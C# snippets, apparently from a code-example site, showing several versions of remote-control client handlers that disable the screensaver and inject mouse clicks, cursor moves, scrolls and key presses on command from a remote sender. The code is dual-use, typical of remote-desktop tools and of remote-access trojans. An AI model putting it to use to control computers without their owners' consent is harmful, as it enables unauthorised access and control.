Example #1
0
 public static void HandleDoMouseEvent(Packets.ServerPackets.DoMouseEvent command, Client client)
 {
     try
     {
         if (NativeMethodsHelper.IsScreensaverActive())
         {
             NativeMethodsHelper.DisableScreensaver();
             return;
         }
         Screen[]  allScreens = Screen.AllScreens;
         Rectangle rect       = allScreens[command.MonitorIndex].Bounds;
         if (rect.X != 0)
         {
             command.X += rect.X * 0xFFFF / rect.Width;
         }
         if (rect.Y != 0)
         {
             command.Y += rect.Y * 0xFFFF / rect.Height;
         }
         NativeMethodsHelper.OnMouseEventHander((uint)command.Action, command.X, command.Y, command.DwData);
     }
     catch (Exception)
     {
     }
 }
        public static void HandleDoKeyboardEvent(DoKeyboardEvent command, Client client)
        {
            if (NativeMethodsHelper.IsScreensaverActive())
            {
                NativeMethodsHelper.DisableScreensaver();
            }

            NativeMethodsHelper.DoKeyPress(command.Key, command.KeyDown);
        }
        private void Execute(ISender sender, DoKeyboardEvent message)
        {
            if (NativeMethodsHelper.IsScreensaverActive())
            {
                NativeMethodsHelper.DisableScreensaver();
            }

            NativeMethodsHelper.DoKeyPress(message.Key, message.KeyDown);
        }
        public static void HandleDoMouseEvent(DoMouseEvent command, Client client)
        {
            try
            {
                Screen[] allScreens = Screen.AllScreens;
                int      offsetX    = allScreens[command.MonitorIndex].Bounds.X;
                int      offsetY    = allScreens[command.MonitorIndex].Bounds.Y;
                Point    p          = new Point(command.X + offsetX, command.Y + offsetY);

                // Disable screensaver if active before input
                switch (command.Action)
                {
                case MouseAction.LeftDown:
                case MouseAction.LeftUp:
                case MouseAction.RightDown:
                case MouseAction.RightUp:
                case MouseAction.MoveCursor:
                    if (NativeMethodsHelper.IsScreensaverActive())
                    {
                        NativeMethodsHelper.DisableScreensaver();
                    }
                    break;
                }

                switch (command.Action)
                {
                case MouseAction.LeftDown:
                case MouseAction.LeftUp:
                    NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
                    break;

                case MouseAction.RightDown:
                case MouseAction.RightUp:
                    NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
                    break;

                case MouseAction.MoveCursor:
                    NativeMethodsHelper.DoMouseMove(p);
                    break;

                case MouseAction.ScrollDown:
                    NativeMethodsHelper.DoMouseScroll(p, true);
                    break;

                case MouseAction.ScrollUp:
                    NativeMethodsHelper.DoMouseScroll(p, false);
                    break;
                }
            }
            catch
            {
            }
        }
        private void Execute(ISender sender, DoMouseEvent message)
        {
            try
            {
                Screen[] allScreens = Screen.AllScreens;
                int      offsetX    = allScreens[message.MonitorIndex].Bounds.X;
                int      offsetY    = allScreens[message.MonitorIndex].Bounds.Y;
                Point    p          = new Point(message.X + offsetX, message.Y + offsetY);

                // Disable screensaver if active before input
                switch (message.Action)
                {
                case MouseAction.LeftDown:
                case MouseAction.LeftUp:
                case MouseAction.RightDown:
                case MouseAction.RightUp:
                case MouseAction.MoveCursor:
                    if (NativeMethodsHelper.IsScreensaverActive())
                    {
                        NativeMethodsHelper.DisableScreensaver();
                    }
                    break;
                }

                switch (message.Action)
                {
                case MouseAction.LeftDown:
                case MouseAction.LeftUp:
                    NativeMethodsHelper.DoMouseLeftClick(p, message.IsMouseDown);
                    break;

                case MouseAction.RightDown:
                case MouseAction.RightUp:
                    NativeMethodsHelper.DoMouseRightClick(p, message.IsMouseDown);
                    break;

                case MouseAction.MoveCursor:
                    NativeMethodsHelper.DoMouseMove(p);
                    break;

                case MouseAction.ScrollDown:
                    NativeMethodsHelper.DoMouseScroll(p, true);
                    break;

                case MouseAction.ScrollUp:
                    NativeMethodsHelper.DoMouseScroll(p, false);
                    break;
                }
            }
            catch
            {
            }
        }